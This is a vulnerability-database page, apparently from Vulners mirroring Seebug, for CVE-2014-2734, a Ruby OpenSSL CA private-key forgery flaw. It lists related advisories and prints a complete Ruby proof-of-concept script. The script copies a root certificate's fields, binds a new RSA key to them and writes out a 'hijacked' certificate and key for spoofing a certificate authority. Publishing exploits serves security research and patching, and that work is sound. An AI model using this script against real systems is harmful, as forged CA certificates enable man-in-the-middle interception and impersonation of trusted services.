Lucene search
K

Ruby OpenSSL CA私钥伪造漏洞

🗓️ 21 Apr 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 38 Views

Ruby OpenSSL CA私钥伪造漏

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2014-2734
24 Apr 201423:00
cve
Cvelist
CVE-2014-2734
24 Apr 201423:00
cvelist
NVD
CVE-2014-2734
24 Apr 201423:55
nvd
OSV
BELL-CVE-2014-2734 CVE-2014-2734 does not affect BellSoft software
24 Apr 201423:55
osv
Prion
Design/Logic Flaw
24 Apr 201423:55
prion
Positive Technologies
PT-2013-2191 · Ruby +2 · Rdoc +3
1 Mar 201300:00
ptsecurity
Positive Technologies
PT-2014-4891 · Openssl +2 · Openssl +2
24 Apr 201400:00
ptsecurity
Positive Technologies
PT-2019-4673 · Puma +9 · Puma +10
3 Oct 201600:00
ptsecurity
Positive Technologies
PT-2020-3715 · Ruby +2 · Puma +2
3 Oct 201600:00
ptsecurity
SUSE CVE
SUSE CVE-2014-2734
15 Feb 202305:29
susecve
Rows per page

                                                require 'rubygems'
require 'openssl'
require 'digest/md5'
key = OpenSSL::PKey::RSA.new(2048)
cipher = OpenSSL::Cipher::AES.new(256, :CBC)
ctx = OpenSSL::SSL::SSLContext.new
puts "Spoof must be in DER format and saved as root.cer"
raw = File.read "root.cer"
cert = OpenSSL::X509::Certificate.new raw
cert.version = 2
ef = OpenSSL::X509::ExtensionFactory.new
ef.issuer_certificate = OpenSSL::X509::Certificate.new raw
cert.subject = ef.issuer_certificate.subject
ef.subject_certificate = ef.issuer_certificate
cert.issuer = ef.issuer_certificate.issuer
cert.serial = ef.issuer_certificate.serial
ctx.key = ef.issuer_certificate.public_key
cert.public_key = ef.issuer_certificate.public_key
cert.not_after = ef.issuer_certificate.not_after
cert.not_before = ef.issuer_certificate.not_before
cert.extensions = ef.issuer_certificate.extensions
a = File.open("root"".key", "w")
a.syswrite("#{cert.public_key}")
a.syswrite("#{key.to_pem}")
spoof = OpenSSL::PKey::RSA.new File.read 'root.key'
printf "Verifying Keys Work: "
puts spoof.private?
ctx.cert = ef.issuer_certificate
puts "============================================================="
root = ef.issuer_certificate.sign(spoof, OpenSSL::Digest::SHA1.new)
filer = File.open("#{cert.serial}"".key", "w")
filer.syswrite("#{spoof.to_pem}")
file = File.open("spoof"".cer", "w")
file.syswrite("#{cert.to_der}")
files = File.open("#{cert.serial}"".pem", "w")
files.syswrite("#{cert.to_pem}")
files.syswrite("#{spoof.to_pem}")
puts "Hijacked Certificate with chainloaded key saved @ #{cert.serial}.pem"
printf "Verifying Keys Intergity: "
puts root.verify(key)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation